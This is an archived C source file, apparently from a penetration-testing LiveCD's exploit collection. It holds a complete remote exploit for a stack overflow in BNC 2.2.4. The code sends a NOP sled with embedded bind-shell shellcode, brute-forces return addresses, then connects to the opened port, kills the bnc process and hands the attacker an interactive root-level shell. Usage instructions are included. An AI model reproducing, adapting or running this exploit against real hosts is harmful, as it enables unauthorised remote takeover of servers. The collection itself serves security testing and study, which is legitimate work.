home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / bnc / bncex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  218 lines

  1. /*
  2.  *  bncex.c - Linux x86 remote BNC 2.2.4 stack overflow 
  3.  *  
  4.  *  Notes:
  5.  *  Because of the wide variations in offsets between typical vulnerable
  6.  *  hosts, this code will brute-force the offset for you (within the range
  7.  *  delineated by the MIN_ADDRESS and MAX_OFFSET #define's).
  8.  *  
  9.  *  Usage:
  10.  *
  11.  *  ./bnc bnc.server.com
  12.  *      Uses a destination port of 6668 (bnc's default)
  13.  *  ./bnc bnc.server.com 242
  14.  *      Uses a destination port of 242
  15.  *    
  16.  *  anathema <anathema@hack.co.za>
  17.  */
  18.  
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <unistd.h>
  22. #include <string.h>
  23. #include <errno.h>
  24. #include <sys/types.h>
  25. #include <sys/socket.h>
  26. #include <sys/time.h>
  27. #include <netinet/in.h>
  28. #include <arpa/inet.h>
  29. #include <netdb.h>
  30.  
  31. #define DEFAULT_BNC_PORT        6668
  32. #define MIN_ADDRESS            0xbffff450
  33. #define MAX_OFFSET            0x950
  34. #define STEP                100
  35. #define RETPOS                1036
  36. #define BD_PRT                36864
  37. #define DELAY                2
  38.  
  39. char c0de[] = /* portshell shellcode, 128 bytes (tcp/36864) */
  40.   "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c\x40\x89\x46\x08\x8d"
  41.   "\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29"
  42.   "\xc0\x89\xc2\x89\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c\x8d"
  43.   "\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66\xcd\x80\x89\x56\x0c\x89"
  44.   "\x56\x10\xb0\x66\x43\xcd\x80\x86\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd"
  45.   "\x80\xb0\x3f\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c\xb0\x0b"
  46.   "\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";
  47.  
  48. u_long
  49. resolve_host(u_char *host_name)
  50. {
  51.   struct in_addr addr;
  52.   struct hostent *host_ent;
  53.  
  54.   if ((addr.s_addr = inet_addr(host_name)) == -1)
  55.     {
  56.       host_ent = gethostbyname(host_name);
  57.       if (!host_ent) return((u_long)0);
  58.       memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
  59.     }
  60.  
  61.   return(addr.s_addr);
  62. }
  63.  
  64. void
  65. backdoor_connect(u_long dst_ip)
  66. {
  67.   struct sockaddr_in sin;
  68.   u_char tmp[8192] = {0};
  69.   fd_set fds;
  70.   int sock;
  71.  
  72.   sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  73.   if (sock == -1)
  74.     {
  75.       perror("socket allocation");
  76.       exit(-1);
  77.     }
  78.  
  79.   sin.sin_family = AF_INET;
  80.   sin.sin_port   = htons(BD_PRT);
  81.   sin.sin_addr.s_addr = dst_ip;
  82.  
  83.   if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
  84.     {
  85.       if (errno == ECONNREFUSED) return;
  86.       perror("connect");
  87.       exit(-1);
  88.     }
  89.  
  90.   fprintf(stderr, "owned!\n\n");
  91.  
  92.   write(sock, "killall -9 bnc; cd /; uname -a; id;\n", 36);
  93.   for (;;)
  94.     {
  95.       FD_ZERO(&fds);
  96.       FD_SET(0, &fds);
  97.       FD_SET(sock, &fds);
  98.  
  99.       if ((select(0xff, &fds, NULL, NULL, NULL)) == -1)
  100.         {
  101.           perror("select");
  102.           exit(-1);
  103.         }
  104.  
  105.       memset(tmp, 0, sizeof(tmp));
  106.  
  107.       if (FD_ISSET(sock, &fds))
  108.         {
  109.           if (recv(sock, tmp, sizeof(tmp) - 1, 0) == -1)
  110.             {
  111.               fprintf(stderr, "Connection closed by foreign host.\n");
  112.               close(sock);
  113.               exit(0);
  114.             }
  115.  
  116.           fprintf(stderr, "%s", tmp);
  117.         }
  118.  
  119.       if (FD_ISSET(0, &fds))
  120.         {
  121.           read(0, tmp, sizeof(tmp)-1);
  122.           write(sock, tmp, strlen(tmp));
  123.         }
  124.     }
  125.  
  126.   /* NOTREACHED */
  127. }
  128.  
  129. void
  130. exploit(u_long dst_ip, u_short dst_prt, u_long addr)
  131. {
  132.   struct sockaddr_in sin;
  133.   u_char buf[4096] = {0};
  134.   int ret = RETPOS, i = 0, sock;
  135.  
  136.   sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  137.   if (sock == -1)
  138.     {
  139.       perror("\nsocket allocation");
  140.       exit(-1);
  141.     }
  142.  
  143.   sin.sin_family = AF_INET;
  144.   sin.sin_port   = htons(dst_prt);
  145.   sin.sin_addr.s_addr = dst_ip;
  146.  
  147.   if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
  148.     {
  149.       perror("failed ");
  150.       exit(-1);
  151.     }
  152.  
  153.   memset(buf, 0x90, ret - strlen(c0de));
  154.   memcpy(buf + ret - strlen(c0de), c0de, strlen(c0de));
  155.  
  156.   buf[ret++] = (addr & 0xff);
  157.   buf[ret++] = (addr >> 8) & 0xff;
  158.   buf[ret++] = (addr >> 16) & 0xff;
  159.   buf[ret++] = (addr >> 24) & 0xff;
  160.  
  161.   if (write(sock, buf, strlen(buf)) != strlen(buf))
  162.     {
  163.       fprintf(stderr, "\nerr: truncated write()\n");
  164.       exit(-1);
  165.     }
  166.  
  167.   fprintf(stderr, "waiting.. ");
  168.   sleep(DELAY);
  169.  
  170.   close(sock);
  171.   backdoor_connect(dst_ip);
  172.   fprintf(stderr, "no.\n");
  173. }
  174.  
  175. int
  176. main(int argc, char **argv)
  177. {
  178.   u_long  dst_ip  = 0;
  179.   u_long  addr    = 0;
  180.   u_short dst_prt = DEFAULT_BNC_PORT;
  181.   u_int   offset  = 0;
  182.   u_int   i = 0;
  183.  
  184.   fprintf(stderr, "BNC automated brute-forcing exploit code\n"
  185.           "Copyright (c) anathema <anathema@hack.co.za>\n");
  186.  
  187.   if (argc != 2 && argc != 3)
  188.     {
  189.       fprintf(stderr, "\nusage:\t%s dst_host|ip [dst_prt]\n", argv[0]);
  190.       exit(-1);
  191.     }
  192.  
  193.   dst_ip = resolve_host(argv[1]);
  194.   if (argc > 2) dst_prt = (u_short)atoi(argv[2]);
  195.   if (!dst_ip)
  196.     {
  197.       fprintf(stderr, "What kind of address is this: `%s`\n", argv[1]);
  198.       exit(-1);
  199.     }
  200.  
  201.   fprintf(stderr, "\nBruteforcing from 0x%lx to 0x%lx "
  202.           "step %d\n", MIN_ADDRESS, MIN_ADDRESS + MAX_OFFSET, STEP);
  203.  
  204.   for (i = 0; i < MAX_OFFSET; i += STEP)
  205.     {
  206.       addr = MIN_ADDRESS + i;
  207.  
  208.       fprintf(stderr, "Attempting to exploit with address"
  209.               " 0x%lx.. ", addr);
  210.       exploit(dst_ip, dst_prt, addr);
  211.     }
  212.  
  213.   fprintf(stderr, "\nCouldn't exploit host `%s`.\n", argv[1]);
  214.   exit(0);
  215. }
  216.  
  217.  
  218. /*                    www.hack.co.za              [2000]*/